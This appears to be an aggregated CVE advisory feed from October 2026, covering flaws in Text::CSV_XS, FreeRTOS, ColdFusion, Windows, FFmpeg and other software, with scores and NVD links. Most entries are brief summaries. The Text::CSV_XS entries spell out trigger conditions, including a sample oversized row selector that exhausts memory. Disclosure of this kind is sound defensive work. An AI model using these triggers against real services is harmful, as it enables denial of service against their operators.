### Text::CSV_XS versions before 1.65 for Perl allow quadratic CPU use by copying the unparsed remainder per record of CR-only input in getline.
https://kevwire.com/record/CVE-2026-110755
Text::CSV_XS versions before 1.65 for Perl allow quadratic CPU use by copying the unparsed remainder per record of CR-only input in getline. (Oct 16, 2026).
Text::CSV_XS versions before 1.65 for Perl allow quadratic CPU use by copying the unparsed remainder per record of CR-only input in getline.

With eol unset, the default, getline reads with Perl's default line separator, so input with CR-only line endings arrives as one chunk. After each record the parser copies the whole unparsed remainder into a new buffer, which the next call parses and copies again, so the work grows with the square of the input size.

A reader with default options that is sent CSV with classic Mac line endings spends seconds of CPU time on a megabyte of input.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110755).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110755&date=2026-10-25).
Sources:
NVD CVE-2026-110755: https://nvd.nist.gov/vuln/detail/CVE-2026-110755
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110755&date=2026-10-25
Text::CSV_XS versions before 1.65 for Perl allow quadratic CPU use by copying the unparsed remainder per record of CR-only input in getline.

With eol unset, the default, getline reads with Perl's default line separator, so input with CR-only line endings arrives as one chunk. After each record the parser copies the whole unparsed remainder into a new buffer, which the next call parses and copies again, so the work grows with the square of the input size.

A reader with default options that is sent CSV with classic Mac line endings spends seconds of CPU time on a megabyte of input.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Text::CSV_XS versions from 1.46 before 1.65 for Perl have a use-after-free of bind_columns variables when skip_empty_rows skips an empty line in getline.
https://kevwire.com/record/CVE-2026-110753
Text::CSV_XS versions from 1.46 before 1.65 for Perl have a use-after-free of bind_columns variables when skip_empty_rows skips an empty line in getline. (Oct 16, 2026).
Text::CSV_XS versions from 1.46 before 1.65 for Perl have a use-after-free of bind_columns variables when skip_empty_rows skips an empty line in getline.

With bind_columns, the parser writes each field into the caller's own scalar without taking a reference to it. When skip_empty_rows skips an empty last line, the parser frees the current field scalar without checking whether it is bound, dropping one reference from the application's variable. The "eof" mode does the same on any empty line.

The variable is then freed while the application still references it, so later code uses freed memory and can crash the process.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110753).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110753&date=2026-10-25).
Sources:
NVD CVE-2026-110753: https://nvd.nist.gov/vuln/detail/CVE-2026-110753
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110753&date=2026-10-25
Text::CSV_XS versions from 1.46 before 1.65 for Perl have a use-after-free of bind_columns variables when skip_empty_rows skips an empty line in getline.

With bind_columns, the parser writes each field into the caller's own scalar without taking a reference to it. When skip_empty_rows skips an empty last line, the parser frees the current field scalar without checking whether it is bound, dropping one reference from the application's variable. The "eof" mode does the same on any empty line.

The variable is then freed while the application still references it, so later code uses freed memory and can crash the process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Text::CSV_XS versions before 1.65 for Perl allow memory exhaustion by allocating one entry per index of an RFC 7111 selector in fragment.
https://kevwire.com/record/CVE-2026-110752
Text::CSV_XS versions before 1.65 for Perl allow memory exhaustion by allocating one entry per index of an RFC 7111 selector in fragment. (Oct 16, 2026).
Text::CSV_XS versions before 1.65 for Perl allow memory exhaustion by allocating one entry per index of an RFC 7111 selector in fragment.

fragment expands a row= or col= selector into an array with one element per selected index before it reads any data, and it does not clamp an explicit end column in a cell= selector to the row. Only the syntax and order of the ranges are checked, so row=1-400000000 on a two-line file allocates 400 million elements.

An application that passes a request-supplied fragment to fragment or csv can be made to exhaust memory, which ends the process with an Out of memory error that eval cannot catch.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110752).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110752&date=2026-10-25).
Sources:
NVD CVE-2026-110752: https://nvd.nist.gov/vuln/detail/CVE-2026-110752
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110752&date=2026-10-25
Text::CSV_XS versions before 1.65 for Perl allow memory exhaustion by allocating one entry per index of an RFC 7111 selector in fragment.

fragment expands a row= or col= selector into an array with one element per selected index before it reads any data, and it does not clamp an explicit end column in a cell= selector to the row. Only the syntax and order of the ranges are checked, so row=1-400000000 on a two-line file allocates 400 million elements.

An application that passes a request-supplied fragment to fragment or csv can be made to exhaust memory, which ends the process with an Out of memory error that eval cannot catch.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Numeric truncation of the buffer length in the MPU buffer authorization check in FreeRTOS-Kernel V11.3.0 and V11.3.1 on the Arm Cortex-R82 (Armv8-R AArch64) MPU port might allow,...
https://kevwire.com/record/CVE-2026-109588
Numeric truncation of the buffer length in the MPU buffer authorization check in FreeRTOS-Kernel V11.3.0 and V11.3.1 on the Arm Cortex-R82 (Armv8-R AArch64) MPU port might allow,... (Oct 16, 2026).
Numeric truncation of the buffer length in the MPU buffer authorization check in FreeRTOS-Kernel V11.3.0 and V11.3.1 on the Arm Cortex-R82 (Armv8-R AArch64) MPU port might allow, under certain conditions, an unprivileged task on MPU-enabled builds to read or write privileged kernel memory beyond the validated buffer window, via a stream buffer system call.



To remediate this issue, users should upgrade to version V11.3.2 or later.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109588).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109588&date=2026-10-25).
Sources:
NVD CVE-2026-109588: https://nvd.nist.gov/vuln/detail/CVE-2026-109588
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109588&date=2026-10-25
Numeric truncation of the buffer length in the MPU buffer authorization check in FreeRTOS-Kernel V11.3.0 and V11.3.1 on the Arm Cortex-R82 (Armv8-R AArch64) MPU port might allow, under certain conditions, an unprivileged task on MPU-enabled builds to read or write privileged kernel memory beyond the validated buffer window, via a stream buffer system call.



To remediate this issue, users should upgrade to version V11.3.2 or later.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability is in Web Server default connection ports under the process name GeoWebServer.exe .
https://kevwire.com/record/CVE-2026-108984
A vulnerability is in Web Server default connection ports under the process name GeoWebServer.exe . (Oct 19, 2026).
A vulnerability is in Web Server default connection ports under the process name GeoWebServer.exe .
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108984).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108984&date=2026-10-25).
Sources:
NVD CVE-2026-108984: https://nvd.nist.gov/vuln/detail/CVE-2026-108984
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108984&date=2026-10-25
A vulnerability is in Web Server default connection ports under the process name GeoWebServer.exe .

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authentication bypass within in-house network in Apache Kylin.
https://kevwire.com/record/CVE-2026-108709
Authentication bypass within in-house network in Apache Kylin. (Oct 16, 2026).
Authentication bypass within in-house network in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.



This issue affects Apache Kylin: from 4.0.4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108709).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108709&date=2026-10-25).
Sources:
NVD CVE-2026-108709: https://nvd.nist.gov/vuln/detail/CVE-2026-108709
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108709&date=2026-10-25
Authentication bypass within in-house network in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.



This issue affects Apache Kylin: from 4.0.4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### VOCALOID6 Editor provided by Yamaha Corporation improperly restricts XML external entity references.
https://kevwire.com/record/CVE-2026-104679
VOCALOID6 Editor provided by Yamaha Corporation improperly restricts XML external entity references. (Oct 19, 2026).
VOCALOID6 Editor provided by Yamaha Corporation improperly restricts XML external entity references. Loading a specially crafted project file may the product to initiate unintended communication, potentially leading to the leak of sensitive information from the device where the product is installed or resulting in a denial-of-service (DoS) condition.
CVSS 6.9 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104679).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104679&date=2026-10-25).
Sources:
NVD CVE-2026-104679: https://nvd.nist.gov/vuln/detail/CVE-2026-104679
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104679&date=2026-10-25
VOCALOID6 Editor provided by Yamaha Corporation improperly restricts XML external entity references. Loading a specially crafted project file may the product to initiate unintended communication, potentially leading to the leak of sensitive information from the device where the product is installed or resulting in a denial-of-service (DoS) condition.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102204
Improper link resolution before file access ('link following') in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102204).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102204&date=2026-10-25).
Sources:
NVD CVE-2026-102204: https://nvd.nist.gov/vuln/detail/CVE-2026-102204
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102204&date=2026-10-25
Improper link resolution before file access ('link following') in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL pointer dereference in the avpriv_h264_has_num_reorder_frames function of Ffmpeg version N-119856-gbe46370941 allows attackers to cause a Denial of Service (DoS) via...
https://kevwire.com/record/CVE-2025-52290
A NULL pointer dereference in the avpriv_h264_has_num_reorder_frames function of Ffmpeg version N-119856-gbe46370941 allows attackers to cause a Denial of Service (DoS) via... (Oct 19, 2026).
A NULL pointer dereference in the avpriv_h264_has_num_reorder_frames function of Ffmpeg version N-119856-gbe46370941 allows attackers to cause a Denial of Service (DoS) via processing a crafted media file.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-52290).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-52290&date=2026-10-25).
Sources:
NVD CVE-2025-52290: https://nvd.nist.gov/vuln/detail/CVE-2025-52290
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-52290&date=2026-10-25
A NULL pointer dereference in the avpriv_h264_has_num_reorder_frames function of Ffmpeg version N-119856-gbe46370941 allows attackers to cause a Denial of Service (DoS) via processing a crafted media file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Management Console fails to properly validate input related to the configuration of JDBC user stores.
https://kevwire.com/record/CVE-2024-4457
The Management Console fails to properly validate input related to the configuration of JDBC user stores. (Oct 18, 2026).
The Management Console fails to properly validate input related to the configuration of JDBC user stores. This weakness allows an attacker to supply specially crafted input that can lead to the execution of arbitrary code on the affected server.

Successful exploitation of this vulnerability enables an attacker to execute arbitrary code on the server with the privileges of the WSO2 product. This could lead to a full compromise of the system.
CVSS 9.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2024-4457).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4457&date=2026-10-25).
Sources:
NVD CVE-2024-4457: https://nvd.nist.gov/vuln/detail/CVE-2024-4457
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4457&date=2026-10-25
The Management Console fails to properly validate input related to the configuration of JDBC user stores. This weakness allows an attacker to supply specially crafted input that can lead to the execution of arbitrary code on the affected server.

Successful exploitation of this vulnerability enables an attacker to execute arbitrary code on the server with the privileges of the WSO2 product. This could lead to a full compromise of the system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation.
https://kevwire.com/record/CVE-2026-34633
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. (Oct 13, 2026).
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 7.7 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34633).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34633&date=2026-10-25).
Sources:
NVD CVE-2026-34633: https://nvd.nist.gov/vuln/detail/CVE-2026-34633
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34633&date=2026-10-25
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation.
https://kevwire.com/record/CVE-2026-34634
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. (Oct 13, 2026).
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 8.6 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34634).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34634&date=2026-10-25).
Sources:
NVD CVE-2026-34634: https://nvd.nist.gov/vuln/detail/CVE-2026-34634
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34634&date=2026-10-25
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-71385
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 8.4 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-71385).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-71385&date=2026-10-25).
Sources:
NVD CVE-2026-71385: https://nvd.nist.gov/vuln/detail/CVE-2026-71385
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-71385&date=2026-10-25
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation.
https://kevwire.com/record/CVE-2026-75748
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. (Oct 13, 2026).
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. An attacker with high privileges could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 7.6 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75748).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75748&date=2026-10-25).
Sources:
NVD CVE-2026-75748: https://nvd.nist.gov/vuln/detail/CVE-2026-75748
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75748&date=2026-10-25
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. An attacker with high privileges could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-75994
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 9.6 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75994).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75994&date=2026-10-25).
Sources:
NVD CVE-2026-75994: https://nvd.nist.gov/vuln/detail/CVE-2026-75994
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75994&date=2026-10-25
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-75995
ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 8.4 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75995).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75995&date=2026-10-25).
Sources:
NVD CVE-2026-75995: https://nvd.nist.gov/vuln/detail/CVE-2026-75995
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75995&date=2026-10-25
ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102201
Use after free in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102201).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102201&date=2026-10-25).
Sources:
NVD CVE-2026-102201: https://nvd.nist.gov/vuln/detail/CVE-2026-102201
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102201
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102201&date=2026-10-25
Use after free in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102202
Improper access control in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper access control in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102202).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102202&date=2026-10-25).
Sources:
NVD CVE-2026-102202: https://nvd.nist.gov/vuln/detail/CVE-2026-102202
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102202
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102202&date=2026-10-25
Improper access control in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in RPC Runtime allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-102203
Access of resource using incompatible type ('type confusion') in RPC Runtime allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Access of resource using incompatible type ('type confusion') in RPC Runtime allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102203).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102203&date=2026-10-25).
Sources:
NVD CVE-2026-102203: https://nvd.nist.gov/vuln/detail/CVE-2026-102203
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102203
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102203&date=2026-10-25
Access of resource using incompatible type ('type confusion') in RPC Runtime allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
